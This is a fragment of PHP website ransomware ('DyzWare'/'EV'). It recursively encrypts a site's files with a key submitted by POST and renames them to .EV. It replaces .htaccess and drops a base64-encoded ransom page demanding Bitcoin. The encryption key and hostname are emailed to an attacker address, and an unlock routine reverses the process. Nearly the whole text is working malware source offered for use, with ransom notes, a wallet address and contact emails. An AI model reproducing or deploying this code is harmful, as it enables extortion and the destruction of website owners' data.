.htaccess (Default Page)
'; } if(file_put_contents("EV.php", base64_decode("PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5Mb2NrZWQuPC90aXRsZT4NCjxtZXRhIHByb3BlcnR5PSJvZzp0aXRsZSIgY29udGVudD0iSGFja2VkLCBUZXN0ZWQsIERlZmFjZSI+DQo8bWV0YSBjaGFyc2V0PSJVVEYtOCI+DQo8L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+DQo8ZGl2IGlkPSJjb250ZW50Ij4NCjxmb250IGNvbG9yPWJsYWNrPg0KPHByZT4NCg0KICAuLSIiLS4NCiAvIC4tLS4gDQovIC8gICAgIA0KfCB8ICAgIHwgfA0KfCB8Li0iIi0ufA0KLy8vYC46Ojo6LmANCnx8fCA6Oi8gIDo6IDsNCnx8OyA6Ol9fLzo6IDsNCiAnOjo6OicgLw0KYD0nOi0uLi0nYA0KDQpFVg0KSGFja2VkIEJ5IE1yLkY0ajRyTA0KPC9mb250Pg0KPGZvbnQgY29sb3I9ImJsYWNrIj4NCllvdSBNdXN0IFBheSAwLjkgQlRDPC9mb250Pjxmb250IGNvbG9yPSJibGFjayI+PTwvZm9udD48Zm9udCBjb2xvcj0iZ3JlZW4iPjFKbWVNcUhYR2h2UzJqanRwUnR6ZjN0UE4xUVFzbkdrdnE8L2ZvbnQ+DQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQo8Zm9udCBjb2xvcj0iYmxhY2siPkJ1eSBCaXRjb2luIDxhIGhyZWY9Imh0dHBzOi8vd3d3LmJpdGNvaW4uY29tIiB0YXJnZXQ9ImJsYW5rXyI+SGVyZTwvYT48YnI+DQpFbWFpbCA6IGZhamFybHVua25vdzQwNUBnbWFpbC5jb20NCjwvcHJlPg0KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgc3R5bGU9IiB0ZXh0LWFsaWduOiBjZW50ZXI7Ij4NCiAgICAgIDxsYWJlbD5LZXkgOiA8L2xhYmVsPg0KICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImtleSIgY2xhc3M9ImlucHV0ZSIgcGxhY2Vob2xkZXI9InlvdXIgdW5sb2NrIGtleSI+DQo8YnV0dG9uIG9uY2xpY2s9Im15RnVuY3Rpb24oKSI+VU5MT0NLIFNJVEU8L2J1dHRvbj4NCjxzY3JpcHQ+DQpmdW5jdGlvbiBteUZ1bmN0aW9uKCkgew0KICAgIHZhciB0eHQ7DQogICAgaWYgKGNvbmZpcm0oIllvdXIgcGF5bWVudCBpbmZvcm1hdGlvbiB3YXMgbm90IGNvcnJlY3QhLiBJZiB5b3Ugd2FudCBvdXIgaGVscCwgcGxlYXNlIGNvbnRhY3QgdXMgb24gbWFpbCBiZWxvdyEiKSA9PSB0cnVlKSB7DQogICAgICAgIHR4dCA9ICIiOw0KICAgIH0gZWxzZSB7DQogICAgICAgIHR4dCA9ICIiOw0KICAgIH0NCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZGVtbyIpLmlubmVySFRNTCA9IHR4dDsNCn0NCjwvc2NyaXB0Pg0KPGJyPg0KPGJyPg0KPGZvbnQgY29sb3I9ImJsYWNrIj5BbGwgZmlsZXMgd2lsbCBiZSBkZWxldGVkIG9uPGJyPg0KPHNjcmlwdCB0eXBlID0gInRleHQvamF2YXNjcmlwdCI+DQp2YXIgY2RheTsNCnZhciB0aW1lSW5TZWNzOw0KdmFyIHRpY2tlcjsNCg0KZnVuY3Rpb24gZ2V0U2Vjb25kcygpIHsNCnZhciBub3cgPSBuZXcgRGF0ZSgpOw0KdmFyIG5vd3RpbWU9IG5vdy5nZXRUaW1lKCk7ICAvLyB0aW1lIG5vdyBpbiBtaWxsaXNlY29uZHMNCnZhciBjb3VudGRvd250aW1lID0gbmV3IERhdGUobm93LmdldEZ1bGxZZWFyKCksbm93LmdldE1vbnRoKCksbm93LmdldERhdGUoKSwyMCwwLDApOyAvLyAgMTYgaHJzID0gNCBwbQ0KLy8gY291bnRkb3dudGltZSAtIGNoYW5nZSB0aW1lIGhoLG1tLHNzIHRvIHdoYXRldmVyIHRpbWUgcmVxdWlyZWQsIGUuZy4gNyw1MCwwICgwNzUwKQ0KDQp2YXIgZHkgPSA1IDsgLy8gRnJpZGF5IChkYXkgNSkgLSBjaGFuZ2UgZm9yIG90aGVyIGRheXMgMC02DQp2YXIgYXRpbWUgPSBjb3VudGRvd250aW1lLmdldFRpbWUoKTsNCnZhciBkaWZmID0gcGFyc2VJbnQoKGF0aW1lIC0gbm93dGltZSkvMTAwMCk7ICAvLyBwb3NpdGl2ZSBpZiBkYXRlIGlzIGluIGZ1dHVyZQ0KaWYgKGRpZmYgPjApIHsNCmNkYXkgPSBkeSAtIG5vdy5nZXREYXkoKTsgICAgIA0KfQ0KZWxzZSB7DQpjZGF5ID0gIGR5IC0gbm93LmdldERheSgpIC0xOw0KfQ0KaWYgKGNkYXkgPCAwKSB7IGNkYXkgKz0gNzsgfSAgIC8vIGFsZWFkeSBwYXNzZWQgY291bnRkb3duIHRpbWUsIHNvIGdvIGZvciBuZXh0IHdlZWsNCmlmIChkaWZmIDw9IDApIHsgZGlmZiArPSAoODY0MDAgKiA3KSB9DQpzdGFydFRpbWVyIChkaWZmKTsNCn0NCg0KZnVuY3Rpb24gc3RhcnRUaW1lcihzZWNzKSB7DQp0aW1lSW5TZWNzID0gcGFyc2VJbnQoc2Vjcyk7DQp0aWNrZXIgPSBzZXRJbnRlcnZhbCgidGljaygpIiwxMDAwKTsNCnRpY2soKTsgLy8gdG8gc3RhcnQgY291bnRlciBkaXNwbGF5IHJpZ2h0IGF3YXkNCn0NCg0KZnVuY3Rpb24gdGljaygpIHsNCnZhciBzZWNzID0gdGltZUluU2VjczsNCmlmIChzZWNzPjApICAgew0KdGltZUluU2Vjcy0tOw0KfQ0KZWxzZSB7DQpjbGVhckludGVydmFsKHRpY2tlcik7IC8vIHN0b3AgY291bnRpbmcgYXQgemVybw0KZ2V0U2Vjb25kcygpOyAgLy8gYW5kIHN0YXJ0IGFsbCBvdmVyIGFnYWluIQ0KIH0NCg0KdmFyIGRheXMgPSBNYXRoLmZsb29yKHNlY3MvODY0MDApOw0Kc2VjcyAlPSA4NjQwMDsNCnZhciBob3Vycz0gTWF0aC5mbG9vcihzZWNzLzM2MDApOw0Kc2VjcyAlPSAzNjAwOw0KdmFyIG1pbnMgPSBNYXRoLmZsb29yKHNlY3MvNjApOw0Kc2VjcyAlPSA2MDsNCnZhciByZXN1bHQgPSBkYXlzICsnOic7DQpyZXN1bHQgKz0gKChob3VycyA8IDEwICkgPyAiMCI6IiIgKSArIGhvdXJzICsgIjoiICsgKCAobWlucyA8IDEwKSA/ICIwIiA6ICIiICkgKyBtaW5zDQorICI6IiArICggKHNlY3MgPCAxMCkgPyAiMCI6IiIgKSArIHNlY3MgKyAiIjsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb3VudGRvd24iKS5pbm5lckhUTUwgPSAgcmVzdWx0Ow0KfQ0KPC9zY3JpcHQ+DQogICAgPGJvZHkgb25sb2FkID0gImdldFNlY29uZHMoKSI+DQogICAgDQogICAgDQogICAgICAgIDxkaXYgaWQ9IkNvdW50RG93bkxvZ28iPg0KICAgICAgICAgICAgPHNwYW4gaWQ9InRpdGxlIjwvc3Bhbj4NCiAgICAgICAgICAgIDxicj48YnI+DQogICAgICAgICAgICA8c3BhbiBpZD0iY291bnRkb3duIj4gPC9zcGFuPiAgICAgICAgICAgDQogICAgICAgICAgICAgICAgDQogICAgICAgIDwvZGl2PiAgICAgICANCjxicj4NCjxicj4NCjxkaXYgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6d2hpdGU7Zm9udC1jb2xvcjpibGFjazsiPg0KPGJyPg0KPGZvbnQgY29sb3I9ImJsYWNrIj4NCjxiPjx1PldoYXQgaGFwcGVuIHdpdGggbXkgc2l0ZSA/PC9iPjwvdT4NCjwvZm9udD4NCjxicj4NCllvdXIgc2l0ZSBmaWxlcyB3YXMgZW5jcnl0ZWQgd2l0aCBvdXIgc3BlY2lhbCBhbGdvcml0bWgsIGlmIHlvdSBqdXN0IHJlbmFtZSBmaWxlIGZyb20gLnBocC5FViB0byAucGhwLCA8YnI+DQp5b3UgY2FudCBnZXQgeW91ciBmaWxlcyBiYWNrISBCZWNhdXNlIHdlIHdhcyBlbmNyeXB0ZWQgYWxsIHlvdXIgZmlsZSBjb250ZW50cyENCjxicj4NCjxicj4NCjxmb250IGNvbG9yPSJibGFjayI+DQo8Yj48dT5TbyB3aGF0IGkgZG8gdG8gcmVjb3ZlciBteSBmaWxlcyA/PC9iPjwvdT4NCjwvZm9udD4NCjxicj4NCjxzdHlsZT5ib2R5e2JhY2tncm91bmQtY29sb3I6cmVkfQ0KI3F7Zm9udDo0MHB4IGNvdXJpZXINCm5ldztjb2xvcjp3aGl0ZTt9DQojZntmb250OjIwcHggY291cmllcg0KbmV3O2NvbG9yOndoaXRlO30NCjwvc3R5bGU+DQpZb3UgY2FuIHBheSB1cyAwLjkgQlRDIHRvIHRoYXQgYWRkcmVzcyAoc2VlIHVuZGVyIGxvY2sgcGljdHVyZXMhKSwgYW5kIHlvdSBjYW4gZ2V0IHRoZSBrZXlzIHRvIGRlY3J5cHQgeW91ciBmaWxlcy48YnI+DQpTZW5kIHBheW1lbnQgaW5mb3JtIHRvIHRoYXQgZW1haWwgYWRkcmVzcywgYW5kIHdlIGNhbiBzZW5kIHlvdXIgVW5sb2NrIEtleSB3aXRoIG1haWwgdG9vLiA8YnI+DQpEbyBub3QgZGVsZXRlIGFueXRoaW5nIGZpbGVzIG9uIHlvdXIgd2Vic2l0ZSwgYmVjYXVzZSBpdCBtYWtlcyBkZWNyeXB0aW5nIHByb2Nlc3MgZmFpbHVyZS4NCjxicj4NCjxicj4NCjxiPjx1PldoZXJlIGkgY2FuIGJ1eSBCVEMgPzwvYj48L3U+DQo8YnI+DQpCdXkgb24gPGEgaHJlZj0iaHR0cHM6Ly93d3cuYml0Y29pbi5jb20iIHRhcmdldD0iYmxhbmtfIj5IZXJlPC9hPg0KPGJyPg0KPGJyPg0KPGI+PHU+SWYgeW91IG5lZWQgbW9yZSBhc3Npc3RhbmNlLCB5b3UgY2FuIHNlbmQgbWVzc2FnZSB0byB1czwvYj48L3U+DQo8YnI+DQo8YnI+DQoNCg0KPC9oZWFkPg0KPGVtYmVkIHNyYz0iaHR0cDovL3d3dy55b3V0dWJlLmNvbS92LzZiREFxYVpHWEh3JmF1dG9wbGF5PTEiIHR5cGU9ImFwcGxpY2F0aW9uL3gtc2hvY2t3YXZlLWZsYXNoIndtb2RlPSJ0cmFuc3BhcmVudCIgd2lkdGg9IjEiIGhlaWdodD0iMSI+PC9lbWJlZD4NCjwvZm9ybT4NCjwvZm9udD4NCjwvYm9keT4NCjwvaHRtbD4="))){ echo ' EV.php (Default Page)
'; } } } public function shcpackUnstall(){ if( file_exists(".htaEV") ){ if( unlink(".htaccess") && unlink("EV.php") ){ echo ' .htaccess (Default Page)
'; echo ' EV.php (Default Page)
'; } rename(".htaEV", ".htaccess"); } } public function plus(){ flush(); ob_flush(); } public function locate(){ return getcwd(); } public function shcdirs($dir,$method,$key){ switch ($method) { case '1': deRanSomeware::shcpackInstall(); break; case '2': deRanSomeware::shcpackUnstall(); break; } foreach(scandir($dir) as $d) { if($d!='.' && $d!='..') { $locate = $dir.DIRECTORY_SEPARATOR.$d; if(!is_dir($locate)){ if( deRanSomeware::kecuali($locate,".php") && deRanSomeware::kecuali($locate,".png") && deRanSomeware::kecuali($locate,"404.php") && deRanSomeware::kecuali($locate,".htaccess") && deRanSomeware::kecuali($locate,".lndex.php") && deRanSomeware::kecuali($locate,"DyzW4re.php") && deRanSomeware::kecuali($locate,"index.php") && deRanSomeware::kecuali($locate,".htaDyzW4re") && deRanSomeware::kecuali($locate,".lol.php") ){ switch ($method) { case '1': deRanSomeware::shcEnCry($key,$locate); deRanSomeware::shcEnDesDirS($locate,"1"); break; case '2': deRanSomeware::shcDeCry($key,$locate); deRanSomeware::shcEnDesDirS($locate,"2"); break; } } }else{ deRanSomeware::shcdirs($locate,$method,$key); } } deRanSomeware::plus(); } deRanSomeware::report($key); } public function report($key){ $message.= "========= DyzWare =========\n"; $message.= "Website : ".$_SERVER['HTTP_HOST']; $message.= "Key : ".$key; $message.= "========= (2017) DyzWare =========\n"; $subject = "Report DyzWare"; $headers = "From: DyzWare \r\n"; mail("-- htaccess12@gmail.com --",$subject,$message,$headers); } public function shcEnDesDirS($locate,$method){ switch ($method) { case '1': rename($locate, $locate.".EV"); break; case '2': $locates = str_replace(".EV", "", $locate); rename($locate, $locates); break; } } public function shcEnCry($key,$locate){ $data = file_get_contents($locate); $iv = mcrypt_create_iv( mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC), MCRYPT_DEV_URANDOM ); $encrypted = base64_encode( $iv . mcrypt_encrypt( MCRYPT_RIJNDAEL_128, hash('sha256', $key, true), $data, MCRYPT_MODE_CBC, $iv ) ); if(file_put_contents($locate, $encrypted )){ echo ' Locked (Success) | '.$locate.'
'; }else{ echo ' Locked (Failed) | '.$locate.'
'; } } public function shcDeCry($key,$locate){ $data = base64_decode( file_get_contents($locate) ); $iv = substr($data, 0, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)); $decrypted = rtrim( mcrypt_decrypt( MCRYPT_RIJNDAEL_128, hash('sha256', $key, true), substr($data, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)), MCRYPT_MODE_CBC, $iv ), "\0" ); if(file_put_contents($locate, $decrypted )){ echo ' Unlock (Success) | '.$locate.'
'; }else{ echo ' Unlock (Failed) | '.$locate.'
'; } } public function kecuali($ext,$name){ $re = "/({$name})/"; preg_match($re, $ext, $matches); if($matches[1]){ return false; } return true; } } if($_POST['submit']){ switch ($_POST['method']) { case '1': deRanSomeware::shcdirs(deRanSomeware::locate(),"1",$_POST['key']); break; case '2': deRanSomeware::shcdirs(deRanSomeware::locate(),"2",$_POST['key']); break; } }else{ ?>
 .-""-. / .--. \ / / \ \ | | | | | |.-""-.| ///`.::::.`\ ||| ::/ \:: ; ||; ::\__/:: ; \\\ '::::' / EV `=':-..-'` 		Thx To Bug7Sec 	 -[ Payment 0.2 BTC=CODE BTCMU ]- ---------------------------------------------- Buy Bitcoin Here